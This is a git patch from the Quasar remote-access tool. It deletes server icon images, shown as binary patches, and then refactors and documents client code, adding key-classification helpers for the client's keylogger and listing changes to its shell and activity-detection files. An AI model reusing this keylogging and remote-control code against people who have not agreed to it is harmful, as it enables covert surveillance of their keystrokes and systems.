z@Angkj%{{2orpvt5Q#*37I1~SZ(2p|=nR#EQ|#1EP^{GPb@v#bw+~@78VP`#hFgbg zG?`3@Mxz`6VzKxVB{AfpV(m)(_QW!7K24!#B!TNn23O@VNMzIK?d?U6)DE-R43$cS wYY%A%1cIMD9`7A_#BRT>L?Qv7&&S{SUnp5P#YQSqod5s;07*qoM6N<$f_olE%m4rY diff --git a/Quasar.Server/images/restart.png b/Quasar.Server/images/restart.png deleted file mode 100644 index 97be114a5f5c1877cdee35197e03485a9e6337da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 756 zcmV-H$FZ?!$52qvWEN}{-yoKW{FBFmW zq!w144b2WW?g#Fn-Fcc`JBhy82RQG#i0-d<5fvjCog@$+2O{vQfU;&Y@9ZccOEEoU z`o;a{1AL?3-`@g9r?$MGoC2ZpYg3gkd~LIJN-Kyj0WFFjXAzC}zZFmMn> z5hP(kQ2wbL+b)^0VN5E278PPxnPnmOQ^4!RG@$Tk0dG6wAo;>>bk|-{ez()ti-GwO z1>i1eK-Z2FO5XOS3!^?i@QeaRReL0qkCgF&muO-~PMtxim>ErL(P zfS3df1ta*V0t}7zu&#X@7yU%ZQnn6iY~|3g8jLLj{&EAYhT$NO&&%mTVk=BuwsTj# z5M$DGfeHjwn95W3QF=8`P|Z{S2$t1SR?Org{n%-#rlrOxqLf%dc2Q<5P%}+aGtIAO m&9tc%qz?2SJEt(A%-}cm7d#*-!XU2z0000rk-tjAP!z_0H;J^hqSY9v zb}k|c4m$V%K7(69+d#cFCY7ogpC~w3Ke`J6TIdX#A8nW1+5$omq!P&?zNBWmp!Oj^F$x%{+EyrCHppeB z064$zZ&9;d9$r-v)6skkkeD&B0IT!GP>D51-{6;uZJ?)ARt;_FfBKRVZtET`r#BvO zxRoKBR!2^=Iz4vF&GCS2TBY7-;=DPLdMZ81qCWTY6$1IlXhF)6xey?|E<&3Cz?j!D z(7$8jdmnMYyZv+~6m9$B`bCWF3UVz+cD?TDxXj<`6Y4l&hC9#P;s5{u07*qoM6N<$ Ef*mugvj6}9 diff --git a/Quasar.Server/images/server.png b/Quasar.Server/images/server.png deleted file mode 100644 index 720a237c73a9809be48ffa5ad1c1b90205b7f025..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 530 zcmV+t0`2{YP)8!PM!jse+otDvXRhleu>w{(hr=P& zTV2;rBMofZo=3rrs;YWAJqHeofOC+HNSe*6&}=qN@aeaKWm$(L&gF8enM?+{FRwu9 zoD1NBqmclHW{%@Tw}6Wqg+f989t^&~Me(EkfChX#56VZfjYtFPF_lU|uh;XF8H4TO zj!YM$blUKV1mw(6M2qNP2;H{su`-!X|7n%u=>+~>3AvaIiltqd9#DvgJ&1=10t0D6 z$;|KlP3c1Y-2fh17umvCJQ4=!_2+B&{P5)SL<2$#ZY7EM2$|!%^Ti9`3q;4qtws{i zDI^jJKbdhUAOoMo-`t-B@esjXtJQ*jzYmI{z|3qKZ(vLsG2zn?;Y5OJwYqN@My1o~ zTxy!Ox4y9nOZhb^2wGcN&dWOz9qA2Pi2L&&MfZ)$Tym*VCU=T$Q;z6Ze zJ$g#19)u*6U}?pjN9Q`P1faW_&ZrhEh`zTzI_Q+4udtc{7?20{`>0tzC%6 z<4$0NFD@aX1`EXFfryb1uLICn5nxWaVpGCkj6kwT4ni1iOhPYO8V+7ZA`uje zMd-SYjtzD?ftn&>m3S@d6_=&B-;Cz zF*bAv13UKN-Iq6*nUCUQI(Jw5*Xv9h7Nm56LZ>KDJd8b9y7n953x!Z9A}LY;0000< KMNUMnLSTZ#4=Y0e diff --git a/Quasar.Server/images/server_delete.png b/Quasar.Server/images/server_delete.png deleted file mode 100644 index 61e740fe18dc615016c3493811f305df96d678a7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 668 zcmV;N0%QG&P)ZQIL=Mmwl(g-y|iYtDg0bIogV2(V47x-17<>@P+Hf!VQ~;Bh1ADY_Vk1>Kc5@s ze}58`N~Nm;9En7Z`Tc&Zu9YFOQ_4UY-hbj=vgo8wo7>bZ?mX^6EGP}5o4qgAd zf>y7X3>E~5{sEcYRlyGFL6@t*C6FW{GilXc39MrFM;3HnTt|X7nCvx95Y4`y#>dJg ztfe`ee?5c6OCFj}YU|v_+9e2S?u!(X>8@nT&ql-J&^L3?zb)dzt-H{Tgi?Q*KmN9` zaDU;lXQ!<|OhHxER^9tl$hWZk7^g1YfN$j)lt&}z{_q67@vzDiHtH&PUMLjK8is*D zAOPQypQzOua-5=e?fX~wjvBzVJA2(9k3ywNui{G2X0twYT0AgCL27sE1k% zB#Vk*Q+6?;e9+Vt!L4!K*`1ktXYNe*UVlWT^w7ZN+<|kx?>px^H{km|{^wKwm9Vg| zaNl*^8;;|sJc37gD5WAk3LK@NP$bk5Y$CIXlI%=4cd(q9B*cVPIfT zN-yMdJTl47IAHqHm0t=ttI8)@h=c;2s@8%}%bVy(RAhosz?g^LzLS!DUxmLngP`ow zrfn8+J7Zx$33yPOy6}EAf^^3q=H^}@`{F5>9HNI({R$?_cfm&~2_!((r0s!M>3g`lJ{4?wIwATQp;6yHt2^& zKYuq+Eb5L^v&R{AmzYgUE~OhIXUe@VXP)2T#eMsaNyJ@y*%#F`%&V0x=ZR~P^R7jY l<)&}aKbCWipX^bu^(V1WxGAiK0S5p8002ovPDHLkV1nEbSAPHi diff --git a/Quasar.Server/images/server_go.png b/Quasar.Server/images/server_go.png deleted file mode 100644 index 540c8e2689b19cd661d3f07ec6d5c69a48ee79b7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 706 zcmV;z0zLhSP)7<1w@I`*?5OI84*T|9oBhH}d)X zV_ny$7-LpT(?ounOeSx1Bq$b(0RlV<27^hr+Y6OI;2f4ea@pG(#Qc2bI;{>8 z6bgmQ0vry9qduPxrLScOb?OXyK&ctFdYopOnzzF=IxIzTH9TSNw zRv8@$M2+3u-KbWpO=ZKt@W_~@Zno4#v;XQqFdGCChs31_>&3!5%7&#b{zWFQc68tn zplmj4#^Z6+YBf55z<5&3{|y;v7;9uv%2$5X>rHda_}~n%R!c9`2Bty_PB{afo|wH(i1~} z&mbZJ35Q%B^!cO6Z!BTy%i>mD!&!%IJ)KTZ(mdRYL?UO7ODFJPbqWeO)2I~TMhXw( zyp+KE^<^xqJ^!icxKx=jKRWim##AbmAfj1{QTs88yd0gw>A`WlSX(G-+yZ}U&%wWZ o(p|@%!Cl@4H>AxOvt;l80V><8&-M2O*#H0l07*qoM6N<$f@GaWM*si- diff --git a/Quasar.Server/images/server_link.png b/Quasar.Server/images/server_link.png deleted file mode 100644 index e8821dfd88a4a178df1581e12832925c401a78c5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 706 zcmV;z0zLhSP)?mgenukSf$Ow%;{&(Qz*V`F0@b#ij@ zxZm&VX$7rf9v>g``Z^Q}JsL?+C={#&cxkiQLb7}jJpw^hA^ed`yWNI#dL>L>e-q^M z`Fjj@I2>0@CKGnPR>A73szKFMBGRA`S+Ca{9f68h+-|q{(d{0gPvFmm91*Ce^UmFA z5o06)XEYcLXt&z~WkrF1>Y7m3eyMY_&vn4e3W2zY4~4B4@}Fo`ggWoJX72yn!Jt=~ zC}x7Gz;&TMbfKNo1KrTUkU)^IvNFituckW41Kdc8hGB^|5P zDhq;WG2$IrNz43AeK;CB`x^az|5dNo zn+^tpmuW~wqY?Fb9i>u9WcPSHn3$O0UhR>XE|bZ8|Bb-s^GTFBK#I#m;3Sa5N8M~T opRypm6;{4LkrnDigB(5h2_j2`gUi>R_y7O^07*qoM6N<$f)SrU?*IS* diff --git a/Quasar.Server/images/shutdown.png b/Quasar.Server/images/shutdown.png deleted file mode 100644 index baaedc9de4678e520bbd431af4e00d8ffdd0bb7a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmV;F0&D$=P)V9|hbB_iDKzrBQjRV9b;j0iw&mafTmszyTmU3-mY){H7tXE*Wd{yiT14 zo_z#7I^YzLxeeGWTuYTrGRHY8MO_234}dxyaE^f=uvvdsq8`?vAy_;fJ=DTsY>tmJ z^R%AQ3+e`-KIEl3;4A?o+Nwka+uKnS45Ac^p)@tc>no@p7(jJvD~f%6C@(GH70>ZP z^^pXeA>b+jBB+Z*@MC@+#o=Knem}H)9{JHx)QpW`XJ;oeU0rz1b2kZiECH-R_KHZs z?MB1G0=_ghawiM>#00cL0qV#IkJ_;}nMA6i123ad+#+CB0#5SyWde5e_M#yWz~|;> zJ@?%NR0v250LQ+yHKcq#JP(Dyil{*e@DXr{0Ij732Uk}Sce${!vVtb#1xW(7x3$5! zxQJzk18))u+#w(&0bT+w5+MG$i7!x`PQ?5BQS0^Ufa3HtoHH}X#pC$O7rf=Uy97Lu zfD;51QGx%vTyS2L; zHp2(1@WI@i-Xy|Q@2LPU4ND`rXk|XBN80#rvs@Rc@6>f#IU%hqn&}9e=@^?yG}xc^ ut!#y8Od%RGH2 zOGs2v9LMqRs67bNUiP3OW+lDI5Es_aqD|P#V0sa4E$0$Qgdr`WXj7XuMM?}s7=cQK zG_(ps8l#Y2kTnHn5n~opIYL%6cc$N+dyg|tQ3w9a{hxu)x#!&9@iBSKRu%K_VXMBH z#^?Pm5BTZYx|S8iGc-3{Gp3yJBUkn~naC4fM2Fa=nU`6hYBACNcGj0H@_bXNyx+X% z)F{*(q3>y&Ko)2WGTM5Ia?)xts>UWeFJP0Ua$SW03%TsSg;Oy+XS@eko8(W1>6+y&;uIl6r=+R zQjFYd`74K-wRTeUr|1zC_8!oUJ&Q>pM6Ssskx{qk9bke zUZzU#GCAuM#yBs|wynz)(`9;}cbW2rz7<9Pxy}yt#WcSGi;vq8Kbm{Z00000NkvXX Hu0mjf*k=>f diff --git a/Quasar.Server/images/terminal.png b/Quasar.Server/images/terminal.png deleted file mode 100644 index 4efd07a4d381a57baaf568eaf848533027d7318f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 359 zcmV-t0hs=YP))G>_%)-@hy%&5Q(0ICA$p zSPhH@=>v(g{Qvil>A=A&B>Nqx4@|Q#GBGhd-dzbY5sv=>CDGZSzy`5lfo>kZ5KJ?H z2xb;mhI8l6F)%YTgE7!d3^vHwAU3*J!3KaNEG#U@G6WnDAjxA#kAMvUvGDh`fD`~UfROYn<0^=4I!Xz8;<-_Nzd}bBeq-q4|1LsCcvok<|0RY;dcd0HCA5H)O002ovPDHLk FV1j#3i&Ovr diff --git a/Quasar.Server/images/text.png b/Quasar.Server/images/text.png deleted file mode 100644 index ed841a02a7d1bd376af2e50c7bf0032938f7fef7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 592 zcmV-W07YdLMY{D}OC*kDqm4uQBfsLLM+hJYc3D|3B}B}ie6k_vX#a1@E@DgewSww{VZ;-|L69_SjA)GM!HK!nh6mlfCWj-5Uf)G;3vo zn2RS#B76J$@0kns%Q1#zn^|B98jaL$uCFB<45Z)hORv{c|7~Yy7wgw0e&E^M0J}QA-5QGH(JUUX@<#Jhu!=b#c)s&>s zXy|>hSd{NclFk*3eFY$>0l-rDIF4g^kjvdsqFa=^C;jKQZ1X@D1TAgQiN}TZ=;SDh1q6CkCwC#3#4s=TBd1gL2WBJi8Jb5TOI5Hy2jZ1*d3q`j zmzM5K!O3OT7f^uqip)mHM!OOQ=jURM4-Vw{#)cH)*zoer`uc4T*m<1k!`m4t36c24 zO_rwe`|wa>1#Fft(=_jO6YoRK7QxdDes5!pMDTn|46)2wfGuC0on1UyTl*ycv22!I e5W{x-5nup#`Ak&HNL?8!V{ znjV^ye=2;qm;P{$`s;H$`x~a}R(xgP|G$RoO>~FD8I7fnS&nXWFMPEjPiNb7^=IwB zO%ASl$t*T|^U-%%8&{}vv|YWQef;Fc%Euzc)I$ztaD0e0suWxYs>%u diff --git a/Quasar.Server/images/transmit_blue.png b/Quasar.Server/images/transmit_blue.png deleted file mode 100644 index 7b1142fc70adfd598ce6eac581421d7e6295f370..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 814 zcmV+}1JV46P)^~)@W#UgN8qC(979%Vy9NAeJn`# zSw2!>g&{fNR2$Okoji4(4lt5P$>r&q16P0#(CAS`X1XUkTWj$WH+~m^i1nA!c54U2@ zzUeSE3@r(@mOzU7Ss)3zO6X49?eVdR`>f= zD(&<}w=25V_BpD%QfK~{4*0vpV)<6BAI*U7!YSn(9anIo^h$1Lw4>$RCWGxdm8_qj z8-Z>jbWcRL3)o3FSHo3#4@0T!b!F!4__T7a7X3qJoMEqHkXET~kf2YcP!3qAt)$FI)g zfX4xE%Ve@IB_$;X{~G{!1n^hDt+6w}2Edy|MMdmC0|1`~><4@={vu#`et!O#R4P65 s*8sp^b=iB(8ZE$Cxw*NSsD#+rPu4uZkAluh`2YX_07*qoM6N<$g1stv`v3p{ diff --git a/Quasar.Server/images/uac_shield.png b/Quasar.Server/images/uac_shield.png deleted file mode 100644 index 6a21ee583a97ed1adf1e7e483f54d762037e141d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3556 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 eWYeJ9UjqPdhexKV6s#lw0000z1iyEv%?$mbQ(# zwJpuiQJP8?X_`#S8b+U_G6=ziYB!xPAcq{)ZJ0bECH@ zYx#`n8^Wzn^J!4>=q^bltNO15ry?0ecSLkjpT@vlid!jk)Fjf7&)q_V5zGs#3N%6* zbW~7Hg=&P0&~Y(|g>$hC9FL?;ttzPDZbpZu9OLb33^e2;FNTGJxScp1&q4M+y2ntQ z?C(=hpU$3~`Thx0eHwi0x`q+!d5k@|0_WHe%sG3e-s^MM`xM-ig!VcIA7H}X1ot~L zg=MLB4w-Q;Bi!!u2|I+Qb;0{{4Q53YX6+4_aXena{nmt*!YG7ua~`qc>o=?@U?rOU znS7%>klzi*muXnbM6i@4FR@s^8vTjDgy&%J?w?`u>NYMDFa_2%0SQ(qJE<3=<8Bzo zfdU60e*y(^$RF%r$kl)p7=7tlCDa$+J7w>}DU(O#~fk>pYuRvHi1E9^msg{tLeV XM&GIRvfA7%00000NkvXXu0mjf&%8>| diff --git a/Quasar.Server/images/website.png b/Quasar.Server/images/website.png deleted file mode 100644 index b8895ddecf57c8ece24f566d9b4a9d803e5a11bb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 903 zcmV;219<$2P)^$%%`*Fg>ryDtc(lF@?b>dE!20r+y z#Q*>(wbV5H`-E4Do={CJp7=ERhw15hgZi)?jRG88 zzVz(5;g?Td1izJyO33bhjg2Qc7FVY@f9!o)Gu?DII~vm-Dc?}3M!fsgjP?F(7`rgg z+xOk8XD)e?Zl=5+un`5!7kr?F=eq)K-5uqr%yU$1hLv){Vlm=)*5~`lwMciiXFu*g z)*Jkz6AF>#zb(Vx`Iv{bdGZHtlW)v(y5k^|xgSUc9%0}S20nrYrO}78ofk?bV!5)4 z=Ngz@+$9N1>>mA%IWx`Fqa240bWkiW;2TZgd8CZS0U}@mknC;!2;wi$eI@`h0y2JS`Eae0CW}q(2(%!m8 zWq$`PDU>LT1_y*bBv#P5<@q0@ttz$hIH}YMDvAigCc=y*)jY-VOpTd;A8@3t7Xh4r z0KTWOk;N2Ox4!&&^4B*no$WtTX!BXB)rg!y8dvGgKBQKLJNXRRp0}Bsjd1|LNQX~c zbC~fjrk2iL@4dYF*vt;}dFn(%h)n_-vzEIHMOKRkdF%3Lq|zBgKm_h>TEq!))nWjq zzn;B!?!(dQcHu$#=JF`cS&W~C`WHFW^B!~MI#k)>1Vk&eQy8P1O`J6V04{D@|7d6^ zyBABnh-d^H0FX&L07M||E0n_dp4v&Q%PSE9p#R#Hq)`5I_(B5CE#q dxjPz0{s-<+c#AC!i7@~G002ovPDHLkV1iPlpuqqD diff --git a/Quasar.Server/images/word.png b/Quasar.Server/images/word.png deleted file mode 100644 index 462d894df1e77f5da61ada09703cd3e9d1e4902f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 734 zcmV<40wMj0P)15mbr)0=n@#MK^P=L2Ty`@7lb?%LUigPU5Ww;q(4*yUZP8fG{G$jPpy}w)FLgn zmNj$Dac6XAXL@gR*E|?Kc>Lyj@B4n=@4fGh&~;@Di>e5+PVzARZR3FR366vL#AD1Q z9zo)0)rNy*1$FoP<3q-}g`#bvSae|94tO)$?0gn?$LD(KQ{d&ncn{cxuFGQ+6pHV5 zWo<}9`klFx8nDr^+v&u^XERr7^QFChp57JudN@Yx%*H+t`k zB^RDhs>dZT4GU8rmoRX165Sn#@$|)P83+4Mg7Y4ah-0xsRE>jhD1gyvBU!pYG}kP| zqE*;1is(FD565!K$Z^gqis+KC64xACB4>nTtQBCml^nc z8gxC6{h?-VtW;7U<#h{%f(=;|F!3&p<4yaJAZ#JzIOikv^+aYP7zje7eRQ*2E}^7A z7DT+B{Ep_Py)L#8mK5lD9eG2?%I{?=Mc7$_nYXAm4~B1?Eq8uo=)8*@=X_4nMgxB3Fu|o)M^RQQ^DK!u6FiiR#)BUV&_Q= zczuK@uib}moNWR{`;2JoiA`3@{>Wy)6I`MBVXm79)*hh7@nM0G=Xkq`E8kL((#b)D z8n0nbUChtqu}E}F0m{eV;RP5um;989K`Yp_13+zNWGl2ZrC`KP;D?&GH#?>yH2f0Lb7s?o*_; Q7ytkO07*qoM6N<$f-sX->;M1& diff --git a/Quasar.Server/images/world_go.png b/Quasar.Server/images/world_go.png deleted file mode 100644 index aee9c97f8232fd21bdd23804c83eb721ff597a96..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 944 zcmV;h15f;kP)Vt{;GNX|PV@wQxfRAQ-FeWBO z_okAVsCzMc+6+1!88|n0#f5DY;>y+0w55ffp3Cpz=VNHC0RRA)nx7m4J_e2fEr1D> zf$Li7b6<{q_X_|3fT6VpU}}ES1g3#EU(cKfCPFP#tOhI>gtQSn;qulcA%*-^2>JFm zr+(T4FtpZ8%})k^KL(S1BPTO2QL%$KxGYx;>U5BTrO?79gvFL~m7AM47lbE{|M1p@ zvJU{5KHA(pGTJssQM!0O10j6WL>(4&6rCX3c8K+IfcD4>45pqv>^k0$0RGbW>L~Ep z>F(G3_hpqWYSffq&yG-Z0#t0sZtPO7RtY8w81XE_$%9;8ywUmn_33;5p~)j(OtcLh zGW;R7d;;`7T4jV=PyEzuAB!7%sQMDYjz>7LEO}MJEJ+SEXMDFFKWs9AW0_c*yVfT8 zdLO<111JQ!Z5P|F5l?92}SW-(dg4!8-@ngsi3V^Oiyy@FAt+W#MZLO z+G>n8Cxq}c`;$Ecm+#=&HP9L%gkegdiWRq#ZuU14t$&X7yov1vXjLB(4@;a4kKLRg z-PA=-YKUFC%EJ2Z6sr?Rp~|N4#O=q$)pS=l!*Bo1(-`ie&YwXjm+`*$kXj*?M4{O% zuhGAMggv*$Cl@{hx*zyFSA6yJ!&%W0X~DEMC>Q=Dk#Mkui`0r-AY6 ziYp9c#&{<6JiCE=qrPunJwM|*-o=^4Szb&J5cfBbh$w7fBc$M|SUag$2d(i=0{##! z(KNT$=DD_V!?IjrCV=O7?_9~=opWmL;fW*1d9-cvk8qg2_BpO{v4zWlWG};=C;2-! z$Cag7CoJ20md|EuhSnN@SH6BZDm-yscyj#Rk@rnx3a!H!K7(Yu!lxHc)7Lu8)up-J z2HoDfaAs*8z|dL)001y@X6Owm(^b;|pVbz=yzjpaJj$ zhrpuriKefui_0DvN;1Ymq&%nwWg*IrK!Xz^eJWuq3u2H~0ra?EC@ge%+`A>6mV z9{TYo{=G6 zt@5m|4G+Q2zKv;Ch@O;`PfWArmB5n3gvMsxV&Iu>97{a!2kL74wd@!f_AP^O%_&ND zm}1c*+F;TcH^{p$P_|akvD5o7vmT>HCkP;z;;&+8tDBI;koi9eX`W!oH4`pYaHlFZwV;$>vvfQTw zM-`m&R_SPIBa^FUasC0GCCh%{h`$~db`z&-lFX#%(f>H6JD6Z(sIW`RKE+xOL+?+uQ%q z){?+F%=6pqEH{6=NzusC-*<`PZYiLCGyKD}Z8^V8ul-K=AV@SE1t4~D2*b1(9UUc= zN-;Dv#Ngl{rd7e$ZUPXC##BFmV>$26ZQi?6Po#@{4gllsPbku3Vq${Y+FAf~T}OJb zGWEz9{(zcvI&CUaN&p7GcqMG4&7ULx##68M4k(F4l7Q+Xm&>uSv4N&(w6?a=)YOC{ zoYLN-J?7@-9xGBx007$C+kK7w_2Z$(k&l}jo2#`dO;J#Ipsbc$pS#^Dy3Q&nSeE5x fGMT)t>sS8=`naU3reLNz00000NkvXXu0mjf)bGN+ From 9ed61be8e1b0a5a06c5042d388139f7ded9985fd Mon Sep 17 00:00:00 2001 From: MaxXor Date: Fri, 29 May 2020 16:45:47 +0200 Subject: [PATCH 182/229] Update documentation --- Quasar.Client/Config/Settings.cs | 3 + Quasar.Client/Extensions/KeyExtensions.cs | 59 +++++++ .../Extensions/RegistryKeyExtensions.cs | 67 +++----- Quasar.Client/IO/BatchFile.cs | 99 +++++------ Quasar.Client/IO/Shell.cs | 22 +-- Quasar.Client/Logging/Keylogger.cs | 157 +++++++++++++----- Quasar.Client/Logging/KeyloggerHelper.cs | 110 ------------ Quasar.Client/Logging/KeyloggerService.cs | 22 ++- .../Messages/TcpConnectionsHandler.cs | 10 +- Quasar.Client/Networking/QuasarClient.cs | 70 ++++++-- Quasar.Client/Quasar.Client.csproj | 1 + Quasar.Client/QuasarApplication.cs | 40 +++-- Quasar.Client/Registry/RegistryEditor.cs | 38 +---- Quasar.Client/Registry/RegistrySeeker.cs | 33 +--- Quasar.Client/Setup/ClientUninstaller.cs | 4 - Quasar.Client/Setup/ClientUpdater.cs | 3 - Quasar.Client/User/ActivityDetection.cs | 77 +++++++-- 17 files changed, 433 insertions(+), 382 deletions(-) create mode 100644 Quasar.Client/Extensions/KeyExtensions.cs delete mode 100644 Quasar.Client/Logging/KeyloggerHelper.cs diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index ccff23a9f..5f5b1d2d4 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -9,6 +9,9 @@ namespace Quasar.Client.Config { + /// + /// Stores the configuration of the client. + /// public static class Settings { #if DEBUG diff --git a/Quasar.Client/Extensions/KeyExtensions.cs b/Quasar.Client/Extensions/KeyExtensions.cs new file mode 100644 index 000000000..9f6c5e0c0 --- /dev/null +++ b/Quasar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Quasar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Quasar.Client/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Extensions/RegistryKeyExtensions.cs index 762e0e920..37cd7b456 100644 --- a/Quasar.Client/Extensions/RegistryKeyExtensions.cs +++ b/Quasar.Client/Extensions/RegistryKeyExtensions.cs @@ -1,11 +1,14 @@ -using System; +using Microsoft.Win32; +using Quasar.Common.Utilities; +using System; using System.Collections.Generic; using System.Linq; -using Microsoft.Win32; -using Quasar.Common.Utilities; namespace Quasar.Client.Extensions { + 